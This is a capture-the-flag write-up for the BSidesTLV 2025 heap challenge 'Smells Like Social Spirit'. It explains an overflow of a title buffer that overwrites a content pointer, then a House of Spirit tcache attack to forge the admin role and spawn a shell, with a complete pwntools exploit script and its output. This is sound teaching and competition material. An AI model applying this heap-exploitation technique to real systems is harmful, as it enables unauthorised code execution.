Smells Like Social Spirit

Description

Welcome to B-Social ;) The brand new BSidesTLV social media platform!

Written by Chen Gruber

Sources were attached.

Solution

We are provided with a binary representing a social media platform. Users can register, login, create posts, and delete posts. Let’s start exploring…

1. Structures

The binary uses a global variable curr_user stored in the BSS (static memory) to handle the active session. Based on the login and registration functions, we can reconstruct the structure:

struct User {
    char username[32];      // Offset 0x00
    char role[16];          // Offset 0x20 (Target: "ADMINADMINADMIN")
    char password[64];      // Offset 0x30
}; // Total size: 112 bytes (0x70)

The posts are stored in a local array within main (on the stack):

struct Post {
    char title[8];          // Offset 0x00
    char *content_ptr;      // Offset 0x08
};

2. The Win Condition

In the login function, there is a hidden menu option 4:

if (uVar4 == 4) { // Hidden option
    if (strcmp(curr_user + 0x20, "ADMINADMINADMIN") == 0) {
        system("/bin/sh");
    }
}

The goal is to overwrite the role field (offset 0x20). However, registration explicitly zeros this field (memset), so we cannot write to it normally.

3. Vulnerability Analysis

The vulnerability lies in the new_post function within the read calls.

__buf = new_post_slot(...); // Points to a Post struct {title[8], content_ptr[8]}
// ... malloc content ...
*(void **)((long)__buf + 8) = pvVar2; // Store content pointer at offset 8

// ... Read Title ...
printf("Post title: ");
read(0, __buf, 0x10); // VULNERABILITY!

The Bug: The program reads 0x10 (16) bytes into __buf.

Arbitrary Free: The delete_post function works by freeing the pointer stored in the post slot:

free(*(void **)(lVar2 + -8)); // Frees the content pointer

Since we can control the content_ptr via the overflow in new_post, we can trigger free() on any address we choose.

Exploit Strategy: House of Spirit

We need to overwrite curr_user.role. Since curr_user is in the BSS (predictable memory location), we can use the House of Spirit technique. We will trick malloc into believing that a specific part of the curr_user global variable is a valid heap chunk. We free it into the tcache, then allocate it again to write data into it.

Step 1: Forging the Fake Chunk

To free a pointer, it must look like a valid chunk (have a size header).

Step 2: Triggering the Free

  1. Register a user with the forged payloads in Username and Password.
  2. Create a “dummy” post.
  3. In the “Title” field, send 8 bytes of padding followed by the address of our fake chunk (curr_user + 0x10).
  4. Delete this post. The program calls free(curr_user + 0x10).
    • Allocator sees the fake header (0x31).
    • Pushes curr_user + 0x10 into the 0x30 tcache bin.

Step 3: Overwriting the Role

  1. Create a new post.
  2. Request length 32 (allocates from the 0x30 bin).
  3. malloc returns our hijacked pointer: curr_user + 0x10.
  4. We send the post content. We are writing to curr_user + 0x10.
    • We need to reach curr_user + 0x20 (Role).
    • Offset = 0x10 (16 bytes).
  5. Payload: padding(16) + "ADMINADMINADMIN".

Step 4: Win

Select hidden option 4 to get the shell.


Solution Script

from pwn import *
import sys

# context.binary = ELF('./bsocial')
HOST = '0.cloud.chals.io'
PORT = 10216

def solve():
    # io = process('./bsocial')
    io = remote(HOST, PORT)
    
    # Load binary to get symbols
    elf = ELF('./bsocial', checksec=False)
    curr_user_addr = elf.symbols['curr_user']
    log.info(f"curr_user address: {hex(curr_user_addr)}")

    # --- Step 1: Forge Headers via Registration ---
    # Target Chunk: curr_user + 0x10
    # Header location: curr_user + 0x08 (inside Username)
    # Size: 0x31 (Allocatable size 0x30)
    username_payload = b'A' * 8 + p64(0x31) + b'A' * 16
    
    # Next Chunk location: curr_user + 0x10 + 0x30 = curr_user + 0x40
    # Header location: curr_user + 0x40 (inside Password)
    # Size: 0x21 (Valid size)
    password_payload = b'B' * 16 + p64(0x21) + b'B' * 40

    io.sendlineafter(b'Choice: ', b'1') # Register
    io.sendafter(b'username: ', username_payload)
    io.sendafter(b'password: ', password_payload)

    # Login
    io.sendlineafter(b'Choice: ', b'2')
    io.sendafter(b'username: ', username_payload)
    io.sendafter(b'password: ', password_payload)

    # --- Step 2: Poison Pointer & Free ---
    # Create dummy post
    io.sendlineafter(b'Choice: ', b'1') # New Post
    io.sendlineafter(b'length: ', b'20')
    io.sendafter(b'content: ', b'X'*20)
    
    # Pointer Overwrite in Title
    # Overwrite content_ptr with address of our fake chunk
    fake_chunk_ptr = curr_user_addr + 0x10
    title_payload = b'T'*8 + p64(fake_chunk_ptr)
    io.sendafter(b'title: ', title_payload)

    # Delete post (triggers free(fake_chunk_ptr))
    io.sendlineafter(b'Choice: ', b'2') 

    # --- Step 3: Allocate & Overwrite Role ---
    io.sendlineafter(b'Choice: ', b'1') # New Post
    # Request size 32 to get our 0x30 chunk back
    io.sendlineafter(b'length: ', b'32')
    
    # We are writing to curr_user + 0x10.
    # Role is at curr_user + 0x20.
    # Offset = 16 bytes.
    payload = b'P' * 16 + b'ADMINADMINADMIN'
    io.sendafter(b'content: ', payload)
    io.sendafter(b'title: ', b'pwned')

    # --- Step 4: Shell ---
    io.sendlineafter(b'Choice: ', b'4')
    io.interactive()

if __name__ == '__main__':
    solve()

Result

[*] curr_user address: 0x4040c0
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
BSidesTLV2025{W17h_tH3_fr33_0uT_it5_L3sS_d4N9erOu5}